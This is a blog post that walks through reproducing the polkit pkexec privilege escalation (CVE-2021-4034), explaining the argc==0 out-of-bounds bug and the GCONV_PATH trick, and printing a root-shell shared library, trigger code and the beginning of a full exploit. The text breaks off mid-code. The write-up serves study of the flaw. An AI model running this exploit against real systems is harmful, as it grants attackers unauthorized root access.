Jekyll2022-09-01T18:12:31-04:00https://f4d3.io/feed.xmlf4d3.io [Bourne Again]Welcome to the bourne again f4d3.iof4d3fd43@protonmail.compkexec LPE (CVE-2021-4034)2022-03-30T18:14:00-03:002022-03-30T18:14:00-03:00https://f4d3.io/pkexec_cve_2021_4034<p>Hi everyone, long time that I’ve been off.</p>
<p>First of all, I want to apologize if anyone was following this blog in order to check for new <code class="highlighter-rouge">posts</code>, some life things out of my control got me off of <code class="highlighter-rouge">pwning | computers</code>, more than I liked.
I’ll resume the journey with the motivation of a couple of friends <3, I really hope that this helps anyone out there.</p>
<center> <img src="assets/2022_03_30_18_34_47.png" /></center>
<h1 id="summary">Summary</h1>
<p>The purpose of this blogpost is to <code class="highlighter-rouge">reproduce</code> and <code class="highlighter-rouge">understand</code> the <code class="highlighter-rouge">polkit pkexec</code> vulnerability (<code class="highlighter-rouge">cve-2021-4034</code>).
<code class="highlighter-rouge">Polkit</code> is a component for controlling system privileges in <code class="highlighter-rouge">unix systems</code>. It provides an organized way for non-privileged processes to communicate with privileged ones. The main objective is to exploit an <code class="highlighter-rouge">out of bounds r/w</code> on a <code class="highlighter-rouge">SUID binary</code>: pkexec.</p>
<p>Original advisory (kudosssss): <a href="https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt">Qualys Advisory</a>.</p>
<h1 id="background">Background</h1>
<ul>
<li>pkexec: Porgram that allows to execute an specific program as another user (SUID binary).</li>
</ul>
<p><img src="assets/2022_03_30_18_15_43.png" alt="" /></p>
<p>From the advisory, the following points are clear.</p>
<ul>
<li>The bug is triggered when <code class="highlighter-rouge">argc</code> is <code class="highlighter-rouge">0</code>.</li>
<li><code class="highlighter-rouge">argv</code> and <code class="highlighter-rouge">envp</code> are contiguous in memory.</li>
<li>The <code class="highlighter-rouge">oob write</code>, allows us to write on <code class="highlighter-rouge">envp[0]</code> (introduce a new environment variable).</li>
</ul>
<p>So, the first thing to understand here is how <code class="highlighter-rouge">arguments works in C</code>.</p>
<ul>
<li>argv: This variable is an <code class="highlighter-rouge">array of strings</code> null terminated. Its elements are the command line arguments passed to the program. When it is executed from the command line, the first <code class="highlighter-rouge">(0)</code> argument, is the program itself.</li>
<li>argc: An integer that represents the <code class="highlighter-rouge">size of argument array argv</code>, passed to the <code class="highlighter-rouge">main()</code> function. The array <code class="highlighter-rouge">argv</code> length is <code class="highlighter-rouge">argc</code>, with the <code class="highlighter-rouge">argv[argc] == NULL</code>.</li>
<li>envp: This argument provides the function with access to the program’s environment variables, such as the <code class="highlighter-rouge">PATH</code> variable.</li>
</ul>
<h1 id="understanding-the-bug">Understanding the bug</h1>
<p>For this “work”, I’ll be using the <code class="highlighter-rouge">ubuntu 18.04 (mid 2021)</code> default version of <code class="highlighter-rouge">pkexec</code> which is <code class="highlighter-rouge">0.105</code></p>
<p>To get the source code from the respective repositry.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>git <span class="nt">-c</span> http.sslVerify<span class="o">=</span><span class="nb">false </span>clone https://gitlab.freedesktop.org/polkit/polkit.git
git checkout tags/0.105
</code></pre></div></div>
<p>From the <a href="https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034">qualys</a> blogpost, we know that the <code class="highlighter-rouge">issue</code> relies on the <code class="highlighter-rouge">pkexec.c</code>, specifically, the <code class="highlighter-rouge">for loop which is for argument handling</code>. This <code class="highlighter-rouge">for loop work</code> is to check for every argument passed to <code class="highlighter-rouge">pkexec</code> and it is as follows.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">for</span> <span class="p">(</span><span class="n">n</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="n">n</span> <span class="o"><</span> <span class="p">(</span><span class="n">guint</span><span class="p">)</span> <span class="n">argc</span><span class="p">;</span> <span class="n">n</span><span class="o">++</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="n">strcmp</span> <span class="p">(</span><span class="n">argv</span><span class="p">[</span><span class="n">n</span><span class="p">],</span> <span class="s">"--help"</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span>
<span class="p">{</span>
<span class="n">opt_show_help</span> <span class="o">=</span> <span class="n">TRUE</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">strcmp</span> <span class="p">(</span><span class="n">argv</span><span class="p">[</span><span class="n">n</span><span class="p">],</span> <span class="s">"--version"</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span>
<span class="p">{</span>
<span class="n">opt_show_version</span> <span class="o">=</span> <span class="n">TRUE</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">strcmp</span> <span class="p">(</span><span class="n">argv</span><span class="p">[</span><span class="n">n</span><span class="p">],</span> <span class="s">"--user"</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span> <span class="o">||</span> <span class="n">strcmp</span> <span class="p">(</span><span class="n">argv</span><span class="p">[</span><span class="n">n</span><span class="p">],</span> <span class="s">"-u"</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span>
<span class="p">{</span>
<span class="n">n</span><span class="o">++</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="n">n</span> <span class="o">>=</span> <span class="p">(</span><span class="n">guint</span><span class="p">)</span> <span class="n">argc</span><span class="p">)</span>
<span class="p">{</span>
<span class="n">usage</span> <span class="p">(</span><span class="n">argc</span><span class="p">,</span> <span class="n">argv</span><span class="p">);</span>
<span class="k">goto</span> <span class="n">out</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">opt_user</span> <span class="o">=</span> <span class="n">g_strdup</span> <span class="p">(</span><span class="n">argv</span><span class="p">[</span><span class="n">n</span><span class="p">]);</span>
<span class="p">}</span>
<span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">strcmp</span> <span class="p">(</span><span class="n">argv</span><span class="p">[</span><span class="n">n</span><span class="p">],</span> <span class="s">"--disable-internal-agent"</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span>
<span class="p">{</span>
<span class="n">opt_disable_internal_agent</span> <span class="o">=</span> <span class="n">TRUE</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">else</span>
<span class="p">{</span>
<span class="k">break</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>What happen if we pass an <code class="highlighter-rouge">argc == 0</code> ?
Since <code class="highlighter-rouge">n</code> starts at <code class="highlighter-rouge">1</code>, the <strong>for loop will terminate inmediatly</strong>, that means that the <code class="highlighter-rouge">n == 1</code>. With this, the <code class="highlighter-rouge">n value issue</code> will propagate to the <code class="highlighter-rouge">line 537</code> which is as follows.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">path</span> <span class="o">=</span> <span class="n">g_strdup</span> <span class="p">(</span><span class="n">argv</span><span class="p">[</span><span class="n">n</span><span class="p">]);</span>
</code></pre></div></div>
<p>The target of <code class="highlighter-rouge">g_strdup</code>, will be the <code class="highlighter-rouge">envp[0]</code>, since the <code class="highlighter-rouge">sizeof(argv) == 1 </code>, which is with value of <code class="highlighter-rouge">NULL</code>. (<code class="highlighter-rouge">argv[0] == NULL</code>).</p>
<p>With this in mind, by invoking the <code class="highlighter-rouge">program</code> by doing an <code class="highlighter-rouge">execve</code> syscall, we’re able to control the <code class="highlighter-rouge">argv[0]</code> to not be the <code class="highlighter-rouge">program name</code>, instead of that, we pass a <code class="highlighter-rouge">null array</code>.</p>
<p>To understand this <code class="highlighter-rouge">argument handling</code>, I did this tiny example which are 2 basic programs that call each other using an <code class="highlighter-rouge">execve()</code>.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">ubuntu</span><span class="err">@</span><span class="n">ubuntu</span><span class="o">:~/</span><span class="n">pwn</span><span class="o">/</span><span class="n">tests</span><span class="o">/</span><span class="n">args</span><span class="err">$</span> <span class="n">cat</span> <span class="n">one</span><span class="p">.</span><span class="n">c</span>
<span class="cp">#include <stdlib.h>
#include <stdio.h>
#include <string.h>
</span>
<span class="kt">int</span> <span class="n">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span><span class="n">argv</span><span class="p">[]){</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"Value of argc: %d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">argc</span><span class="p">);</span>
<span class="kt">char</span> <span class="o">**</span><span class="n">s</span> <span class="o">=</span> <span class="n">argv</span><span class="p">;</span>
<span class="k">while</span><span class="p">(</span><span class="o">*</span><span class="n">s</span> <span class="o">!=</span> <span class="nb">NULL</span><span class="p">){</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"Value: %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="o">*</span><span class="n">s</span><span class="p">);</span>
<span class="n">s</span><span class="o">++</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">ubuntu</span><span class="err">@</span><span class="n">ubuntu</span><span class="o">:~/</span><span class="n">pwn</span><span class="o">/</span><span class="n">tests</span><span class="o">/</span><span class="n">args</span><span class="err">$</span> <span class="n">cat</span> <span class="n">two</span><span class="p">.</span><span class="n">c</span>
<span class="cp">#include <stdlib.h>
#include <stdio.h>
#include <string.h>
</span>
<span class="kt">int</span> <span class="n">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span><span class="n">argv</span><span class="p">[]){</span>
<span class="kt">char</span> <span class="o">*</span><span class="n">args</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="nb">NULL</span><span class="p">};</span>
<span class="kt">char</span> <span class="o">*</span><span class="n">envp</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="s">"1"</span><span class="p">,</span><span class="s">"2"</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">};</span>
<span class="n">execve</span><span class="p">(</span><span class="s">"./one"</span><span class="p">,</span> <span class="n">args</span><span class="p">,</span> <span class="n">envp</span><span class="p">);</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>By compiling and running this example, is easy to notice that the <code class="highlighter-rouge">envp[0]</code> is under our control by using a <code class="highlighter-rouge">execve syscall</code> in comparision of calling the program directly from the shell.</p>
<p><img src="assets/2022_03_30_18_16_12.png" alt="" /></p>
<h1 id="re-introduce-an-environment-variable">re-introduce an environment variable</h1>
<p>As we <a href="https://www.win.tue.nl/~aeb/linux/hh/hh-8.html">know</a>, the call of a <code class="highlighter-rouge">suid binary</code>, is special, since it sanitize the <code class="highlighter-rouge">environment variables</code> passed to it, avoiding attacks such as using an <code class="highlighter-rouge">LD_PRELOAD</code> environment variable, <strong>but</strong>, here’s where this bug shine.</p>
<p>Just after the <code class="highlighter-rouge">oob read for lop</code>, we reach the following piece of code.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/* Now figure out the command-line to run - argv is guaranteed to be NULL-terminated, see
*
* http://lkml.indiana.edu/hypermail/linux/kernel/0409.2/0287.html
*
* but do check this is the case.
*
* We also try to locate the program in the path if a non-absolute path is given.
*/</span>
<span class="n">g_assert</span> <span class="p">(</span><span class="n">argv</span><span class="p">[</span><span class="n">argc</span><span class="p">]</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">);</span>
<span class="n">path</span> <span class="o">=</span> <span class="n">g_strdup</span> <span class="p">(</span><span class="n">argv</span><span class="p">[</span><span class="n">n</span><span class="p">]);</span> <span class="c1">// <- (1)</span>
<span class="k">if</span> <span class="p">(</span><span class="n">path</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span>
<span class="p">{</span>
<span class="n">usage</span> <span class="p">(</span><span class="n">argc</span><span class="p">,</span> <span class="n">argv</span><span class="p">);</span>
<span class="k">goto</span> <span class="n">out</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">if</span> <span class="p">(</span><span class="n">path</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">!=</span> <span class="sc">'/'</span><span class="p">)</span>
<span class="p">{</span>
<span class="cm">/* g_find_program_in_path() is not suspectible to attacks via the environment */</span>
<span class="n">s</span> <span class="o">=</span> <span class="n">g_find_program_in_path</span> <span class="p">(</span><span class="n">path</span><span class="p">);</span> <span class="c1">// <- (2)</span>
<span class="k">if</span> <span class="p">(</span><span class="n">s</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span>
<span class="p">{</span>
<span class="n">g_printerr</span> <span class="p">(</span><span class="s">"Cannot run program %s: %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">path</span><span class="p">,</span> <span class="n">strerror</span> <span class="p">(</span><span class="n">ENOENT</span><span class="p">));</span>
<span class="k">goto</span> <span class="n">out</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">g_free</span> <span class="p">(</span><span class="n">path</span><span class="p">);</span>
<span class="n">argv</span><span class="p">[</span><span class="n">n</span><span class="p">]</span> <span class="o">=</span> <span class="n">path</span> <span class="o">=</span> <span class="n">s</span><span class="p">;</span> <span class="c1">// <- (3)</span>
<span class="p">}</span>
<span class="k">if</span> <span class="p">(</span><span class="n">access</span> <span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="n">F_OK</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span>
<span class="p">{</span>
<span class="n">g_printerr</span> <span class="p">(</span><span class="s">"Error accessing %s: %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">path</span><span class="p">,</span> <span class="n">g_strerror</span> <span class="p">(</span><span class="n">errno</span><span class="p">));</span>
<span class="k">goto</span> <span class="n">out</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">command_line</span> <span class="o">=</span> <span class="n">g_strjoinv</span> <span class="p">(</span><span class="s">" "</span><span class="p">,</span> <span class="n">argv</span> <span class="o">+</span> <span class="n">n</span><span class="p">);</span>
<span class="n">exec_argv</span> <span class="o">=</span> <span class="n">argv</span> <span class="o">+</span> <span class="n">n</span><span class="p">;</span><span class="o">></span><span class="p">)</span>
</code></pre></div></div>
<p>From this piece of code, we have the following issues.</p>
<ul>
<li>On <code class="highlighter-rouge">(1)</code> we have the <code class="highlighter-rouge">arbitrary read</code> mentioned above, accessing the <code class="highlighter-rouge">envp[0]</code>, via the <code class="highlighter-rouge">argv[n]</code> with <code class="highlighter-rouge">n == 1</code>.</li>
<li>On <code class="highlighter-rouge">(2)</code>, if the <code class="highlighter-rouge">executable</code> exists <code class="highlighter-rouge">g_find_program_in_path()</code> will return the <code class="highlighter-rouge">absolute path name</code> of it (here’s the important part, summarized in the <code class="highlighter-rouge">qualys advisory, summary below</code>).</li>
<li>On <code class="highlighter-rouge">(3)</code>, we overwrite <code class="highlighter-rouge">argv[n] and path</code>, with the value of <code class="highlighter-rouge">s</code>, which is the <code class="highlighter-rouge">full path</code> of the <code class="highlighter-rouge">envp[0]</code>.</li>
</ul>
<p>Nice, we can overwrite the <code class="highlighter-rouge">envp[0]</code> with an arbitrary value, but which value ?</p>
<p>From the <a href="https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034">QUALYS</a> advisory.</p>
<blockquote>
<p>If our PATH environment variable is “PATH=name”, and if the directory “name” exists (in the current working directory) and contains an executable file named “value”, then a pointer to the string “name/value” is written out-of-bounds to envp[0]</p>
</blockquote>
<blockquote>
<p>OR</p>
</blockquote>
<blockquote>
<p>If our PATH is “PATH=name=.”, and if the directory “name=.” exists and contains an executable file named “value”, then a pointer to the string “name=./value” is written out-of-bounds to envp[0].</p>
</blockquote>
<p>The last statement sound awesome to re-introduce the <code class="highlighter-rouge">GCONV_PATH</code> malicious variable into the <code class="highlighter-rouge">envp array</code> easily, nice. But we have to care about another points which are the following:</p>
<ul>
<li>There’s a small window where we can introduce our environment variables, since they’re <code class="highlighter-rouge">sanitized</code> by <code class="highlighter-rouge">pkexec</code>.</li>
<li>Is important to notice that the <code class="highlighter-rouge">validate_environment_variable()</code> function calls internally the <code class="highlighter-rouge">g_printerr()</code> function. <strong>important</strong>.</li>
<li>If the <code class="highlighter-rouge">CHARSET</code> environment variable exists and its value is other than <code class="highlighter-rouge">UTF-8</code>, <code class="highlighter-rouge">g_printerr()</code> will call <code class="highlighter-rouge">iconv_open()</code>.</li>
<li><code class="highlighter-rouge">iconv_open()</code> reads a configuration file to determine what <code class="highlighter-rouge">shared library</code> use in order to make the <code class="highlighter-rouge">character conversion</code>.</li>
<li>If the <code class="highlighter-rouge">GCONV_PATH</code> environment variable exists, <code class="highlighter-rouge">iconv_open()</code> will use that path instead of reading the configuration file.</li>
<li>Since <code class="highlighter-rouge">GCONV_PATH</code> is unsafe, is cleared while running <code class="highlighter-rouge">SUID</code> binaries. But using this bug we can re-introduce it :D</li>
</ul>
<p>Everything’s good, we have the <code class="highlighter-rouge">GCONV_PATH</code> environment variables back into the <code class="highlighter-rouge">envp array</code>, but, how we can force the program to call <code class="highlighter-rouge">iconv()</code> ? ez: forcing it to call <code class="highlighter-rouge">g_printerr()</code>.</p>
<p>Now, let’s mess with the <code class="highlighter-rouge">locale</code> things. <a href="https://man7.org/linux/man-pages/man1/iconv.1.html">From the</a> iconv man page, we have the following</p>
<blockquote>
<p>If <strong>GCONV_PATH</strong> is not set, <a href="https://man7.org/linux/man-pages/man3/iconv_open.3.html">iconv_open(3)</a> loads the system gconv module configuration cache file created by <a href="https://man7.org/linux/man-pages/man8/iconvconfig.8.html">iconvconfig(8)</a> and then, <strong>based on the configuration</strong>, loads the gconv modules needed to perform the conversion.</p>
</blockquote>
<p>The configuration file mentioned here is as follows.</p>
<p><img src="assets/2022_03_30_18_16_34.png" alt="" /></p>
<p>From the header, we know that the format is as follows</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>module from_name to_name so_filename cost
</code></pre></div></div>
<p>From here we can deduce that <code class="highlighter-rouge">if we want to translate BS_4730</code> to <code class="highlighter-rouge">UTF-8</code>, we need to use <code class="highlighter-rouge">ISO646.so</code></p>
<p><img src="assets/2022_03_30_18_16_41.png" alt="" /></p>
<p>Using this information, we can build our own <code class="highlighter-rouge">malicious config file</code>, that will be loaded because the <code class="highlighter-rouge">GCONV_PATH</code> will be present. With this, a malicious <code class="highlighter-rouge">.so</code> file (specified in the config) will be loaded in order to make the conversion.</p>
<p>The simple-evil <code class="highlighter-rouge">shared object</code> file is as follows:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>
</span>
<span class="kt">void</span> <span class="n">_init</span><span class="p">(){</span>
<span class="n">setuid</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
<span class="n">setgid</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
<span class="n">seteuid</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
<span class="n">setegid</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"Executed shared library evil </span><span class="se">\n</span><span class="s"> !"</span><span class="p">);</span>
<span class="n">execve</span><span class="p">(</span><span class="s">"/bin/bash"</span><span class="p">,(</span><span class="kt">char</span> <span class="o">*</span><span class="p">[]){</span><span class="s">"-i"</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">},</span> <span class="nb">NULL</span><span class="p">);</span>
<span class="n">execve</span><span class="p">(</span><span class="s">"/bin/sh"</span><span class="p">,(</span><span class="kt">char</span> <span class="o">*</span><span class="p">[]){</span><span class="nb">NULL</span><span class="p">},</span> <span class="nb">NULL</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Compile it with the following commands.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>gcc <span class="nt">-c</span> <span class="nt">-Wall</span> <span class="nt">-fPIC</span> ISO646.c
<span class="nv">$ </span>gcc <span class="nt">-nostartfiles</span> <span class="nt">-shared</span> <span class="nt">-o</span> ISO646.so ISO646.o
<span class="nv">$ </span><span class="nb">mv </span>ISO646.so gconv
</code></pre></div></div>
<p>To test if this is working, we can use <code class="highlighter-rouge">iconv</code> with the <code class="highlighter-rouge">GCONV_PATH</code> environment variable just as follows.</p>
<p><img src="assets/2022_03_30_18_16_51.png" alt="" /></p>
<p>Nice!</p>
<p>btw, the <code class="highlighter-rouge">target charset</code>, can be arbitrary. For the sake of this poc I’ll use the <code class="highlighter-rouge">deadbeef</code> target charset.</p>
<p>In order to trigger this from inside the code, lets create the <code class="highlighter-rouge">name=.</code> directory and lets see on the <code class="highlighter-rouge">debugger</code> what is written on the <code class="highlighter-rouge">envp[0]</code> while executing it with the <code class="highlighter-rouge">PATH=name=.</code></p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">mkdir</span> <span class="nt">--</span> <span class="s2">"name=."</span>
<span class="nv">$ </span><span class="nb">touch</span> <span class="s1">'name=./f'</span>
</code></pre></div></div>
<p>And the program to trigger this is as follows.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
</span>
<span class="kt">void</span> <span class="nf">main</span><span class="p">()</span>
<span class="p">{</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"[*] Starting the exploit...</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="kt">char</span> <span class="o">*</span><span class="n">args</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="nb">NULL</span><span class="p">};</span>
<span class="kt">char</span> <span class="o">*</span><span class="n">envp</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="s">"f"</span><span class="p">,</span><span class="s">"PATH=name=."</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">};</span>
<span class="n">execve</span><span class="p">(</span><span class="s">"/usr/bin/pkexec"</span><span class="p">,</span> <span class="n">args</span><span class="p">,</span> <span class="n">envp</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Important note: To make possible the <code class="highlighter-rouge">debug of this example</code>, it is need to <code class="highlighter-rouge">run the debugger</code> as root, since it is a <code class="highlighter-rouge">SUID binary</code>.</p>
<p><img src="assets/2022_03_30_18_16_59.png" alt="" /></p>
<p><img src="assets/2022_03_30_18_17_05.png" alt="" /></p>
<p>Nice, the <code class="highlighter-rouge">mov rbx, rax</code> instruction, is likely to be the line where the <code class="highlighter-rouge">argv[n]</code> is written again.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// from pkexec.c, line 553</span>
<span class="n">argv</span><span class="p">[</span><span class="n">n</span><span class="p">]</span> <span class="o">=</span> <span class="n">path</span> <span class="o">=</span> <span class="n">s</span><span class="p">;</span>
</code></pre></div></div>
<p>nice !</p>
<h1 id="exploit">exploit</h1>
<p>To summarize the <code class="highlighter-rouge">vector logic</code>.</p>
<ul>
<li>We have an <code class="highlighter-rouge">out of bounds read</code>, which allows us to read the <code class="highlighter-rouge">envp[0]</code>, using the <code class="highlighter-rouge">argv[n]</code> statement.</li>
<li>We have an <code class="highlighter-rouge">out of bounds write</code>, which allows us to write on <code class="highlighter-rouge">envp[0]</code> the result of <code class="highlighter-rouge">g_find_program_in_path()</code>. This can be abused to introduce a new <code class="highlighter-rouge">environment variable</code>.</li>
<li>Using this, we re-introduce the <code class="highlighter-rouge">GCONV_PATH</code> environment variable which will point to our malicious <code class="highlighter-rouge">config/shared object file</code>.</li>
<li>In order to abuse this <code class="highlighter-rouge">re-introduction</code>, we need to force the program to make a <code class="highlighter-rouge">charset conversion</code>. We do this by using an invalid <code class="highlighter-rouge">SHELL</code> environment variable. This will make <code class="highlighter-rouge">pkexec</code> to call <code class="highlighter-rouge">validate_environment_variable()</code>. Since the <code class="highlighter-rouge">SHELL</code> environment is invalid (not presented on <code class="highlighter-rouge">/etc/shells</code>), the <code class="highlighter-rouge">log_message()</code> and the <code class="highlighter-rouge">g_printerr()</code> functions are called.</li>
<li>Since our context have the <code class="highlighter-rouge">CHARSET</code> environment variable set, <code class="highlighter-rouge">g_printerr()</code> will force a <code class="highlighter-rouge">conversion</code> to <code class="highlighter-rouge">UTF-8</code> in order to print out the error.</li>
<li>While doing this conversion, the <code class="highlighter-rouge">GCONV_PATH</code> environment will be present, which means that <code class="highlighter-rouge">gconv</code> will go ahead and look for the <code class="highlighter-rouge">config</code> and the <code class="highlighter-rouge">shared object</code> <a href="https://man7.org/linux/man-pages/man1/iconv.1.html">file on our custom path.</a></li>
</ul>
<p>The final exploit will be as follows</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
</span>
<span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">gconf_file</span> <span class="o">=</span> <span class="s">"# malicious config file</span><span class="se">\n</span><span class="s">\
alias ISO-IR-4// BS_4730//</span><span class="se">\n</span><span class="s">\
alias ISO646-GB// BS_4730//</span><span class="se">\n</span><span class="s">\
alias GB// BS_4730//</span><span class="se">\n</span><span class="s">\
alias UK// BS_4730//</span><span class="se">\n</span><span class="s">\
alias CSISO4UNITEDKINGDOM// BS_4730//</span><span class="se">\n</span><span class="s">\
module BS_4730// INTERNAL ISO646 2</span><span class="se">\n</span><span class="s">\
module INTERNAL BS_4730// ISO646 2</span><span class="se">\n</span><span class="s">\
module UTF-8// deadbeef// ISO646 2</span><span class="se">\n</span><span class="s">"</span><span class="p">;</span>
<span class="kt">void</span> <span class="n">setup</span><span class="p">(){</span>
<span class="cm">/* Create the directory that will hold the malicious shared library and configuration */</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"[!] Creating GCONV_PATH directory</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="k">struct</span> <span class="n">stat</span> <span class="n">gconv_stat</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">};</span>
<span class="k">struct</span> <span class="n">stat</span> <span class="n">shared_stat</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">};</span>
<span class="k">if</span><span class="p">(</span><span class="n">stat</span><span class="p">(</span><span class="s">"./GCONV_PATH="</span><span class="p">,</span> <span class="o">&</span><span class="n">gconv_stat</span><span class="p">)</span> <span class="o">==</span> <span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="n">mkdir</span><span class="p">(</span><span class="s">"GCONV_PATH="</span><span class="p">,</span> <span class="mo">0755</span><span class="p">);</span>
<span class="cm">/* Check if there's some share object created */</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"[?] Checking the needed shared object</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="k">if</span><span class="p">(</span><span class="n">stat</span><span class="p">(</span><span class="s">"./s.so"</span><span class="p">,</span> <span class="o">&</span><span class="n">shared_stat</span><span class="p">)</span> <span class="o">==</span> <span class="o">-</span><span class="mi">1</span><span class="p">){</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"[!] Error, first compile the shared object</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="n">exit</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">);</span>
<span class="p">}</span>
<span class="cm">/* Move the shared object to the malicious path */</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"[?] Creating the files under /tmp</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="k">if</span><span class="p">(</span><span class="n">rename</span><span class="p">(</span><span class="s">"./s.so"</span><span class="p">,</span> <span class="s">"/tmp/ISO646.so"</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">){</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"[!]Error moving the .so file</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="n">exit</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">);</span>
<span class="p">}</span>
<span class="cm">/* Create the malicious configuration */</span>
<span class="kt">FILE</span> <span class="o">*</span><span class="n">fp</span><span class="p">;</span>
<span class="n">fp</span> <span class="o">=</span> <span class="n">fopen</span><span class="p">(</span><span class="s">"/tmp/gconv-modules"</span><span class="p">,</span> <span class="s">"w+"</span><span class="p">);</span>
<span class="n">fputs</span><span class="p">(</span><span class="n">gconf_file</span><span class="p">,</span> <span class="n">fp</span><span class="p">);</span>
<span class="n">fclose</span><span class="p">(</span><span class="n">fp</span><span class="p">);</span>
<span class="cm">/* Create dummy file inside the gconv directory */</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"[?] Creating tmp file under GCONV directory</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="n">fp</span> <span class="o">=</span> <span class="n">fopen</span><span class="p">(</span><span class="s">"./GCONV_PATH=/tmp"</span><span class="p">,</span> <span class="s">"w+"</span><span class="p">);</span>
<span class="n">fputs</span><span class="p">(</span><span class="s">"#!/bin/sh"</span><span class="p">,</span> <span class="n">fp</span><span class="p">);</span>
